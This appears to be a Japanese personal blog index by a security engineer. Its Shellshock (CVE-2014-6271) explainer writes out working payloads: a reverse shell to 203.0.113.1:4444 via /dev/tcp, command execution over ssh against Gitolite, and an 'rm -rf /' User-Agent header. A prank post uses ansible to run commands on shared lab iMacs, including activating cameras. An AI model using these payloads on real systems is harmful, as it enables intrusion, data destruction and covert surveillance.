Recent posts (max 10) - Browse or Archive for more

あるcoins卒業生の現在

概要

coinsな人なら既卒、在学中、教員、入学予定、志望、退学、除籍、転類希望…どなたでもOKです 内容も自由です(coinsっぽくないことでもよいかと) 技術の話をするもよし、好きなガジェットを語るもよし、今は亡きcoinsLTについて語らうもよし、夢屋と松屋をかたるもよし、畑を案ずるもよし、なんでもありです

それではご自由にどうぞ

coins Advent Calendar 2016

「畑を案ずる」ってわたしのことなのでは……!

ということで、遅くなりましたが16年度coins卒業生がつくばに住み続けながら渋谷で働いている話をQ&Aっぽい形式でします。


わたしはだれ

通称くりす。情報科学類2010年度入学、2留の末2016卒。ちゃんと卒業しましたよ!いまだに大学に出入りしてますが。

今何してるか

BASE株式会社 というところでセキュリティエンジニアとして働きながら、休日はcoins14の @rairyuGO と畑をやったり、WORD編集部の連中と戯れたりしております。

今どこに住んでいるか

いまだに学生に混じってつくばに住んでいます。この決断に至った理由に、もともとつくば育ちである・都会より空気がずっときれい・大学の後輩と戯れ続けたい・畑を続けたい・車を手放したくない・つくばの家賃が安い・つくばの飯がうまい・引っ越しがだるい、などが挙げられます。

つくばから渋谷へ通うのには高速バスと東京メトロを使っております。バスというと職場の人は全員驚きましたが、必ず座れてトイレがついてるという利点は何物にも代えられません。さらにTXがつくば駅までなのに対しバスは大学の中まで来るので、うちにも近くて助かります。

どうして今の仕事を選んだか

実はBASE社が運営している PAY.JP という決済サービスの構築にはかなり前から関わっていました。いろいろあってPAY.JPに出会い、4年生当時にはフリーランサーとして週1でPAY.JP関係の仕事をしていたので、その延長で新卒入社という感じです。入社前にその職場がどんなところなのか、どういう人がいるのかという情報はバッチリ把握できましたし、逆にわたしのスキルや仕事への意欲といった情報を会社側に把握してもらうこともできていたので、理想的な就職でした。労働に対して敵意を向けているのは今も昔も変わっていないのですが、これなら続けていけそうです。

ありがとうBASE株式会社!

畑の調子は

今はタマネギとブロッコリーとニンジンと白菜が植わっています。ブロッコリーが収穫期真っ盛りで、ニンジンはちょっと未熟ですが柔らかくておいしいです。

広告欄

ネットショップ運営は BASE で!!

結論

つくばはいいぞ。

coins的イタズラ

なぁにこれ

coinsの人がcoinsっぽいことを書いていくアドベントカレンダーです。

coinsの人とは

  • coinsに所属している人
  • coinsに所属していた人(老害はほどほどにな)
  • これからcoinsの人(若さを分けてくれ)
  • 心がcoinsの人
  • 不埒なcoinsを評したい人

を指します

内容

  • 書けば官軍書かねば賊軍
  • 同じ阿呆なら書かねば損損

coins Advent Calendar 2015


そんなわけで、coins Advent Calendar 2015 12月18日付の記事はくりすが担当させていただきます。


まえがき

COINS*1 とは筑波大学における「情報科学類」の公式略称であり、当該学類やそこに所属する学生のことを指します。端的に言えばcoinsは変人の集団です。よく「恋人にしたくない学類No.1」にノミネートされています。しかしそんな学類を居心地良いと感じる人も多く、独特の雰囲気の中で皆、日々学問や趣味からくだらない遊びまで幅広く研鑽に励んでいます。 わたしもcoinsの2010年度生として現在卒業論文の執筆を進めております。6年次4年生です。いろいろあったんです。でもとうとう卒業が目前になり、coins生として様々な活動に励むのもあと3ヶ月程であると思うと感慨深いです。

今日はcoins界隈で嗜まれる「くだらない遊び」に焦点を当てた記事を、わたしのcoins生活最後となるアドベントカレンダー記事としてお届けします。


さて、coinsで嗜まれる遊びに「イタズラ」が挙げられます。一般常識に決して縛られないcoinsACの得意とする分野です。「計算機室のiMacを一斉に笑い出させる」程度の比較的無害なものから「学内の池にスワンボートを浮かべる」という一大プロジェクトまで様々な規模のものが実行された歴史があり、MITの「ハック」に相通ずるものがあります。そんなイタズラをひとつばかりピックアップしてみたいと思います。

計算機室のiMacで

coinsが保有する計算機室には、全部で100台を超えるiMacが設置されており、学生がいつでも自由に利用できる環境が整備されています。深夜にも利用している学生がちらほらおり、彼らの学習意欲の高さ(またはカリキュラムの厳しさ)を物語っています。そして、彼らは暇を持て余したcoins生のイタズラの格好のターゲットになります。

計算機室のiMacで稼働するすべてのOS X上ではSSHが稼働しており、アカウントを持っている学生はどこからでも自由にリモートログインできます。これを使わない手はありません。 SSHを用いてたくさんのホストにいっぺんにコマンドを送信するのに便利なのがansibleです。管理対象のホストではSSHさえ動いていればあとは何も要らないのが大きな利点です。 ansibleを用いて、計算機室のiMacで(怒られない範囲で)遊んでみましょう。

ターゲットとなる計算機室iMacのホストを設定*2したら、echoコマンドで試し撃ちしてみましょう。

$ ansible coins -i hosts -u <username> -a "echo uhihi"
foobar04.coins.tsukuba.ac.jp | success | rc=0 >>
uhihi

foobar03.coins.tsukuba.ac.jp | success | rc=0 >>
uhihi

foobar05.coins.tsukuba.ac.jp | success | rc=0 >>
uhihi

foobar01.coins.tsukuba.ac.jp | success | rc=0 >>
uhihi

foobar02.coins.tsukuba.ac.jp | success | rc=0 >>
uhihi

etc...

こんな感じで一度に複数のホストに簡単にコマンドを送信でき、その結果を確認できます。 あとはこれをsayコマンドで応用してMacに喋らせてみたり、afplayでwavやaiffを流してみたり、whoでどのマシンを誰が使っているか監視したり、カメラを起動してみたり*3、無限大の可能性が広がります。深夜にホラーじみた音声がそこかしこのiMacから発されたらたまったもんじゃありませんね。もちろんansibleのパワーはこれだけにとどまりませんので、みなさんのほうでガンガン開拓していけると意外な発見があるかもしれません。そして、学生生活中にこうして無駄遣いした技術力は、必ずや将来役立つ戦力となるでしょう。みなさんの今後に大いに期待しております。

おわりに

かならず おとなのひとといっしょに あそんでね!


*1 case insensitive
*2 ansibleの使い方を説明する記事ではないので省略。ここではホストグループをcoinsと設定した場合を想定して記述しています。
*3 このような盗撮行為が可能であることが判明したため、内蔵カメラにシールを貼る対策が今年実施されました。

  • Posted: 2015-12-18 00:26 (Updated: 2015-12-18 03:15)
  • Author: chris
  • Categories: misc
  • Comments (0)

CVE-2015-0014について (あるいは自慢話)

氏とわたしが報告したWindows Telnetに関する脆弱性に、 CVE-2015-0014 (およびMS15-002) というIDが割り振られました。

この脆弱性はWindows Telnetにおけるバッファオーバーフローに関するもので、登氏が同プログラムの不穏な挙動を発見し、そのエクスプロイトコードをわたしが作ってMicrosoftに報告したというかんじです。 今どきのOSにはASLRが積んであるのでドエラいことをするためには工夫が要るのですが、XPやServer 2003などには死をもたらすことができたので、結構アレゲな脆弱性です。

Microsoft TechNetに掲載された謝辞がこちらになります。

いよいよ名前が世界に知らしめられてしまいました。自分が発見に関わった脆弱性にCVE IDが付いたことですし、もしかするとこれでわたしもプロハッカーの仲間入りを果たしてしまったのかもしれないのですが、仕事というものが滅法苦手なわたしはたぶんこれからもバグハンターという狩猟生活を、自分の気の向くままにやるにとどまるでしょう。

そんなことより山にこもりたいと考えている今日この頃です。この山小屋がほしい。 https://suumo.jp/jj/bukken/shosai/JJ012FD010/?ar=040&bs=021&nc=83826542&suit=nsuusbsp20121129001

bashの脆弱性がヤバすぎる件

やっと更新する気になった。

もくじ

  • 0. 産業で説明
  • 1. 理論編
  • 2. 攻撃編
  • 3. パッチ
  • 4. 結論

0. 産業で説明

bashが
アホで
地球がヤバイ

1. 理論編

bashの関数機能は、環境変数の中でも使える仕様になっています。
今回問題となったのは、関数に任意のコマンドを続けて環境変数に入力すると、コマンドが勝手に実行されてしまうということです。この脆弱性にはCVE-2014-6271というIDと、Shell Shockというニックネームがつけられました。

2. 攻撃編

なんでもいいのでLinuxホストのターミナルでこんなコマンドを打ってみましょう:

$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'

もし出力の中にmanukeが含まれていたら、そのホストは今回発表された脆弱性に対して危険な状態です。

もうちょっとゾクッと来る例を紹介しましょう。

Gitoliteなど、シェルを提供しないという条件付きでSSHの接続を受け付けるタイプのアプリケーションがありますが、この脆弱性を突くと、シェルを与えていないユーザに好き放題されてしまうかもしれません。

あるGitoliteサーバ (gitolite.example.com) にアカウントを持っている攻撃者が自分のホストから

$ ssh git@gitolite.example.com '() { :; }; /usr/bin/id'

というコマンドを発射します。そして、

uid=108(git) gid=114(git) groups=114(git)

と返ってくると、攻撃は成功です。

$ ssh git@gitolite.example.com '() { :; }; bash -i >& /dev/tcp/203.0.113.1/4444 0>&1'

というコマンドを撃てば、203.0.113.1:4444にリバースシェルが降ってきますね(*1)。

もうひとつヤバい例を挙げましょう。CGIです。

CGIにおけるアタックベクタは、環境変数に格納されるパラメータです。 system()や類似の関数を用いたCGIスクリプトは、OSコマンド実行のためにbashを呼び出しているかもしれません。 CGIはパラメータを環境変数として格納しています(*2)から、HTTPリクエストヘッダをいじって

User-Agent: () { :; }; rm -rf /

とかやるとゾクゾクするかもしれません。わたしは実証していませんが。

3. パッチ

Ubuntu 12.04.5 LTSでは既にパッケージマネージャによって緊急アップデートが提供されていることを確認しました。その他のディストリビューションでもたぶんパッチが提供されていますが、そうでなければ http://seclists.org/oss-sec/2014/q3/650 こちらに掲載されている、bashのバージョンに適したパッチを使用しましょう。

bashのソースコードとパッチを読んで、どういうコードからこの脆弱性が生まれたか読み解いてみるのも勉強になりますね。

4. 結論

コワイ!


*1: この例はUbuntu 12.04.1 LTSで実証しました。この方法が使えなくてもNetcatやPerlなど、リバースシェルを引っ張る方法はいくらでもあります。
*2: 例: ユーザエージェント→HTTP_USER_AGENT

セキュリティ・ミニキャンプ in 会津 へ行ってきました

夕飯食ったら書く。

「人文LT2」で発表しました

情報科のおじさんが、華の人文生たちによるLTに乱入してきました。 資料をアップロードしたのでどうぞご覧ください。

これはニホンゴですか? (推奨ブラウザ: Chrome*)

発音が日本語っぽい言葉を世界中から集めて、それらの意味や例文(?)を解説する内容です。


* またimpress.jsなんか使っちゃったからまっとうなブラウザじゃないと動きません。

  • Posted: 2014-07-13 19:30 (Updated: 2014-07-13 19:31)
  • Author: chris
  • Categories: misc
  • Comments (0)

最新のおふざけ

はい。

進捗どうですか?

Chromium 34.0.1 のみで動作確認。Firefoxはつらかった。


使用したsomething

impress.js

クリスセキュアシステムズをたたみます。

以下、2週間前にFacebookに投稿したことの丸写し。


はじめに、わたしの仕事が遅いことについて、関係者各位には深くお詫び申し上げます。

さて、クリスセキュアシステムズをたたむことを検討しております。
主たる理由は次のとおり。

  • 在学年限の関係上、もはや余計なことをする時間がない
  • 必ずといっていいほど尻に火が着くまで何もせず、クライアントに迷惑をかけたり、自分の仕事を自ら炎上させてしまうことがあった(つまり、時間とタスクの割り振り・自己管理がド下手クソ)
  • できないことを引き受けて痛い目にあった

とくに下のふたつは他人が関わるぶん、より重大な懸案事項です。仕事をする人にあってはならないことです。頭では分かっているのにまるで行動が伴わないので、社会人風情を気取るのはここでやめにして、やるべきことをやる、一人前の人間になる訓練に立ち返ります。本当に社会人になるまでにあと2年あるので、この間にどれだけ弱点を克服できるか、自分を試してみようと思います。

それと別れました。

サーバ移転しました

経費削減のために、Tracサーバと、わたしの管理するSNSで使っているサーバを統合しました。

Before

  • (Trac) Amazon EC2 (t1.micro) ... EC2小計 $23.79
  • (SNS) さくらVPS SSD 2G プラン ... ¥1,760
  • (Mail) さくらVPS 1G プラン ... ¥980

After

  • (Trac, SNS, Mail1) さくらVPS SSD 2G プラン ... ¥1,760
  • (Mail2) さくらVPS 1G プラン ... ¥980 (本当に必要か審議中)

詳細は後ほど追記

  • Posted: 2014-02-04 13:53 (Updated: 2014-03-03 23:24)
  • Author: chris
  • Categories: vps
  • Comments (0)

curlで叩ける年齢計算サイト

本日のやっつけ仕事です。

きっかけ

作った

http://age.x86-64.jp/

使用例
http://age.x86-64.jp/1991/12/29 ... Age: 22というレスポンスを得る。

しくみ

WebフレームワークはFlask, アプリケーションサーバはこのTrac同様にuWSGIです。フロントエンドはnginxです。

ソースコード

from flask import Flask
from datetime import date

app = Flask(__name__)
app.config.update(
    DEBUG=False,
)

@app.route('/')
def usage():
    return "Usage: http://age.x86-64.jp/yyyy/mm/dd <br> curl recommended."

@app.route('/<int:yyyy>/<int:mm>/<int:dd>')
def calculate(yyyy, mm, dd):
    """This part is from Stack Overflow: http://stackoverflow.com/a/2217537/1402144"""
    birthday = date(yyyy, mm, dd)
    today = date.today()
    years = today.year - birthday.year
    if all((x >= y) for x,y in zip(today.timetuple(), birthday.timetuple())):
        age = years
    else:
        age = years - 1
    """End StackOverflow"""
    return "Age: %d" % age

if __name__ == '__main__':
    app.run() # Change this to "pass" in order to run this via uwsgi.

はまってたところ

最初、calculate(yyyy, mm, dd)の返り値にageという変数を直接使おうとしていた (つまりreturn age) が、

TypeError: 'int' object is not callable.

というエラーを得た。上記のようにsprintfっぽく、return "%d" % age"として解決。